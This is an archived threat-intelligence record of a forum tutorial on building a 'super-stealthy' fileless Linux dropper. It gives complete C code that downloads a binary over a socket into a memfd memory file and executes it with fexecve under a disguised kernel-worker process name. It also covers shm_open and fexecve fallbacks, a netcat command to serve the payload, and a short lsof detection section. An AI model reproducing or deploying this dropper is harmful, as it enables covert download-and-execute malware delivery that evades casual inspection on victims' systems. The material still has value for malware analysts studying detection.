{
	"id": "d9487367-c0af-4d12-9aaa-bad0fe36d16f",
	"created_at": "2026-04-06T00:11:55.366379Z",
	"updated_at": "2026-04-10T03:24:29.954085Z",
	"deleted_at": null,
	"sha1_hash": "c89fd13619b2d8808718ebb0a5ea1bd02f01af8c",
	"title": "Super-Stealthy Droppers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 108911,
	"plain_text": "Super-Stealthy Droppers\r\nBy 0x00pf (pico)\r\nPublished: 2017-09-25 · Archived: 2026-04-05 12:54:55 UTC\r\nSome weeks ago I found [this interesting article] (https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html), about injecting code in running processes without using ptrace .\r\nThe article is very interesting and I recommend you to read it, but what caught my attention was a brief sentence\r\ntowards the end. Actually this one:\r\nThe current payload in use is a simple open/memfd_create/sendfile/fexecve program\r\nI’ve never heard before about memfd_create or fexecve … that’s why this sentence caught my attention.\r\nIn this paper we are going to talk about how to use these functions to develop a super-stealthy dropper. You could\r\nconsider it as a malware development tutorial… but you know that it is illegal to develop and also to deploy\r\nmalware. This means that, this paper is only for educational purposes… because, after all, a malware analyst\r\nneeds to know how malware developers do their stuff in order to identify it, neutralise it and do what is needed to\r\nkeep systems safe.\r\nmemfd_create and fexecve\r\nSo, after reading that intriguing sentence, I googled those two functions and I saw they were pretty cool. The first\r\none is actually pretty awesome, it allows us to create a file in memory. We have quickly talked about this in [a\r\nprevious paper] (https://0x00sec.org/t/running-binaries-without-leaving-tracks/2166), but for that we were just\r\nusing /dev/shm to store our file. That folder is actually stored in memory so, whatever we write there does not\r\nend up in the hard-drive (unless we run out of memory and we start swapping). However, the file was visible with\r\na simple ls .\r\nmemfd_create does the same, but the memory disk it uses is not mapped into the file system and therefore you\r\ncannot find the file with a simple ls . :o\r\nThe second one, fexecve is also pretty awesome. It allows us to execute a program (exactly the same way that\r\nexecve ), but we reference the program to run using a file descriptor, instead of the full path. And this one\r\nmatches perfectly with memfd_create .\r\nBut there is a caveat with this function calls. They are relatively new. memfd_create was introduced in kernel\r\n3.17 and fexecve is a libc function available since version 2.3.2. While, fexecve can be easily implemented\r\nwhen not available (we will see that in a sec), memfd_create is just not there on old kernels…\r\nWhat does this means?. It means that, at least nowadays, the technique we are going to describe will not work on\r\nembedded devices that usually run old kernels and have stripped-down versions of libc. Although, I haven’t\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 1 of 7\n\nchecked the availability of fexecve in for instance some routers or Android phones, I believe it is very likely that\r\nthey are not available. If anybody knows, please drop a line in the comments.\r\nA simple dropper\r\nIn order to figure out how these two little guys work, I wrote a simple dropper. Well, it is actually a program able\r\nto download some binary from a remote server and run it directly into memory, without dropping it in the disk.\r\nBefore continuing, let’s check the Hajime case we described [towards the end of this post]\r\n(https://0x00sec.org/t/iot-malware-droppers-mirai-and-hajime/1966). There you will find a cryptic shell line that\r\nbasically creates a file with execution permissions to drop into it another file which is downloaded from the net.\r\nThen the downloaded program gets executed and deleted from the disk. In case you don’t want to open the link\r\nagain, this is the line I’m talking about:\r\ncp .s .i; \u003e.i; ./.s\u003e.i; ./.i; rm .s; /bin/busybox ECCHI\r\nWe are going to write a version of .s that, once executed, will do exactly the same that the cryptic shell line\r\nabove.\r\nLet’s first take a look to the code and then we can comment it.\r\nThe code\r\nThis is the code:\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdlib.h\u003e\r\n#include \u003csys/syscall.h\u003e\r\n#include \u003cunistd.h\u003e\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/socket.h\u003e\r\n#include \u003carpa/inet.h\u003e\r\n#define __NR_memfd_create 319\r\n#define MFD_CLOEXEC 1\r\nstatic inline int memfd_create(const char *name, unsigned int flags) {\r\n return syscall(__NR_memfd_create, name, flags);\r\n}\r\nextern char **environ;\r\nint main (int argc, char **argv) {\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 2 of 7\n\nint fd, s;\r\n unsigned long addr = 0x0100007f11110002;\r\n char *args[2]= {\"[kworker/u!0]\", NULL};\r\n char buf[1024];\r\n // Connect\r\n if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) \u003c 0) exit (1);\r\n if (connect (s, (struct sockaddr*)\u0026addr, 16) \u003c 0) exit (1);\r\n if ((fd = memfd_create(\"a\", MFD_CLOEXEC)) \u003c 0) exit (1);\r\n while (1) {\r\n if ((read (s, buf, 1024) ) \u003c= 0) break;\r\n write (fd, buf, 1024);\r\n }\r\n close (s);\r\n \r\n if (fexecve (fd, args, environ) \u003c 0) exit (1);\r\n return 0;\r\n \r\n}\r\nIt is pretty short and simple, isn’t it?. But there are a couple of things we have to say about it.\r\nCalling memfd_create\r\nThe first thing we have to comment is that, there is no libc wrapper to the memfd_create system call. You\r\nwould find this information in the memfd_create manpage’s NOTES section. That means that we have to write\r\nour own wrapper.\r\nFirst, we need to figure out the syscall index for memfd_create . Just use any on-line syscall list. Remember that\r\nthe indexes changes with the architecture, so if you plan to use the code on an ARM or a MIPS, you may need to\r\nuse a different index. The index we used 319 is for x86_64 .\r\nYou can see the wrapper at the very beginning of the code (just after the #include directives), using the\r\nsyscall libc function.\r\nThen, the program just does the following:\r\nCreate a normal TCP socket\r\nConnect to port 0x1111 on 127.0.0.1 using family AF_INET … We have packed all this information in a\r\nlong variable to make the code shorter… but you can easily modify this information taking into account\r\nthat:\r\n addr = 01 00 00 7f 1111 0002;\r\n 1. 0. 0.127 1111 0002;\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 3 of 7\n\n+------------+------+----\r\n IP Address | Port | Family\r\nOf course this is not standard and whenever the struct sockaddr_in change, the code will break down… but it\r\nwas cool to write it like this :stuck_out_tongue:\r\nCreates a memory file\r\nReads data from the socket and writes it into the memory file\r\nRuns the memory file once all the data has been transferred.\r\nThat’s it… very simple and straightforward.\r\nTesting\r\nSo, now it is time to test it. According to our long constant in the main function, the dropper will connect to\r\nport 0x1111 on localhost ( 127.0.0.1 ). So we will improvise a file server with netcat .\r\nIn one console we just run this command:\r\n$ cat /usr/bin/xeyes | nc -l $((0x1111))\r\nYou can chose whatever binary you prefer. I like those little eyes following my mouse pointer all over the place\r\nThen in another console we run the dropper, and those funny xeyes should pop-up in your screen. Let’s see\r\nwhich tracks we can find after running the remote code.\r\nDetecting the dropper\r\nSpotting the process is difficult because we have given it a funny name ( kworker/u!0 ). Note the ! character\r\nthat is just there to allow me to quickly identify the process for debugging purposes. In reality, you would like to\r\nuse a : so the process looks like one of those kernel workers. But, let’s look at the ps output.\r\n$ ps axe\r\n(...)\r\n 2126 ? S 0:00 [kworker/0:0]\r\n 2214 pts/0 S+ 0:00 [kworker/u!0]\r\n(...)\r\nYou can see the output for a legit kworker process in the first line, and then you find our doggy program in the\r\nsecond line… which is associated to a pseudo-terminal!!!.. I think this can be easily avoided… but I will leave this\r\nto you to sharp your UNIX development skills :wink:\r\nHowever, even if you detach the process from the pseudo-terminal…\r\nInvisible file\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 4 of 7\n\nWe mentioned that memfd_create will create a file in a RAM filesystem that is not mapped into the normal\r\nfilesystem tree… at least, if it is mapped, I couldn’t find where. So far this looks like a pretty stealth way to drop a\r\nfile!!\r\nHowever, let’s face it, if there is a file somewhere, there should be a way to find it… shouldn’t it? Of course it is.\r\nBut, when you are in this kind of troubles… who you gonna call?.. Sure… Ghostbusters!. And you know what?,\r\nfor GNU/Linux systems the way to bust ghosts is using lsof :).\r\n$ lsof | grep memfd\r\n3 2214 pico txt REG 0,5 19928 28860 /memfd:a (deleted)\r\nSo, we can easily find any memfd file in the system using lsof . Note that lsof will also indicate the\r\nassociated PID so we can also easily pin point the dropped process even when it is using some name camouflage\r\nand it is not associated to a pseudo-terminal!!!\r\nWhat if memfd_open is not available?\r\nWe have mentioned that memfd_open is only available on kernels 3.17 or higher. What can be done for other\r\nkernels?. In this case we will be a bit less stealthy but we can still do pretty well.\r\nOur best option in this case is to use shm_open (SHared Memory Open). This function basically creates a file\r\nunder /dev/shm … however, this one will be visible with ls , but at least we avoid writing to the disk. The only\r\ndifference between using shm_open or just open is that shm_open will create the files directly under\r\n/dev/shm . While, when using open we have to provide the whole path.\r\nTo modify the dropper to use shm_open we have to do two things.\r\nFirst we have to substitute the memfd_create call by a shm_open call like this:\r\n(...)\r\nif ((fd = shm_open(\"a\", O_RDWR | O_CREAT, S_IRWXU)) \u003c 0) exit (1);\r\n(...)\r\nThe second thing is that we need to close the file and re-open it read-only in order to be able to execute it with\r\nfexecve . So, after the while loop that populates the file we have to close and re-open the file:\r\n(...)\r\n close (fd);\r\n if ((fd = shm_open(\"a\", O_RDONLY, 0)) \u003c 0) exit (1);\r\n(...)\r\nHowever note that, now it does not make much sense to use fexecve and we can avoid reopening the file read-only and just call execve on the file created at /dev/shm/ which is effectively the same and it is also shorter.\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 5 of 7\n\n… and what if fexecve is not available?\r\nThis one is pretty easy, whenever you get to know how fexecve works. How can you figure out how the\r\nfunction works?.. just google for its source code!!!. A hint is provided in the man page tho:\r\nNOTES\r\nOn Linux, fexecve() is implemented using the proc(5) file system, so /proc needs to be mounted and\r\navailable at the time of the call.\r\nSo, what it does is to just use execve but providing as file path the file descriptor entry under /proc . Let’s\r\nelaborate this a bit more. You know that each open file is identified by an integer and you also know that each\r\nprocess in your GNU/Linux system exports all its related information under the proc pseudo file system in a\r\nfolder named against its PID (supposing the proc file system is mounted). Well, inside that folder you will find\r\nanother folder named fd containing a file per each file descriptor opened by the process. Each file is named\r\nagainst its actual file descriptor, that is, the integer number.\r\nKnowing all this, we can run a file identified by a file descriptor just passing the path to the right file under\r\n/proc/PID/fd/THE_FD to execve . A basic implementation of fexecve will look like this:\r\nint\r\nmy_fexecve (int fd, char **arg, char **env) {\r\n char fname[1024];\r\n snprintf (fname, 1024, \"/proc/%d/fd/%d\", getpid(), fd);\r\n execve (fname, arg, env);\r\n return 0;\r\n}\r\nThis implementation of fexecve is completely equivalent to the standard one… well it is missing some sanity\r\nchecks but, after all, we’re living in the edge :P.\r\nAs mentioned before, this is very convenient to be used together with memfd_open that returns to us a file\r\ndescriptor and does not require the close/open sequence. Otherwise, when there is a file somewhere, even in\r\nmemory, it is even faster to just use execve as you can infer from the implementation above.\r\nConclusions\r\nWell, this is it. Hope you have found this interesting. It was interesting for me. Now, after having read this paper,\r\nyou should be able to figure out what the open/memfd_create/sendfile/fexecve we mentioned at the beginning\r\nmeans…\r\nWe have also seen a quite stealthy technique to drop files in a remote system. And we have also learn how to\r\ndetect the dropper even when it may look invisible at first glance.\r\nYou can download all the code from:\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 6 of 7\n\nSource: https://0x00sec.org/t/super-stealthy-droppers/3715\r\nhttps://0x00sec.org/t/super-stealthy-droppers/3715\r\nPage 7 of 7\n\nlong variable that: to make the code shorter… but you can easily modify this information taking into account\naddr = 01 00 00 7f 1111 0002; \n1. 0. 0.127 1111 0002; \n   Page 3 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://0x00sec.org/t/super-stealthy-droppers/3715"
	],
	"report_names": [
		"3715"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434315,
	"ts_updated_at": 1775791469,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c89fd13619b2d8808718ebb0a5ea1bd02f01af8c.pdf",
		"text": "https://archive.orkl.eu/c89fd13619b2d8808718ebb0a5ea1bd02f01af8c.txt",
		"img": "https://archive.orkl.eu/c89fd13619b2d8808718ebb0a5ea1bd02f01af8c.jpg"
	}
}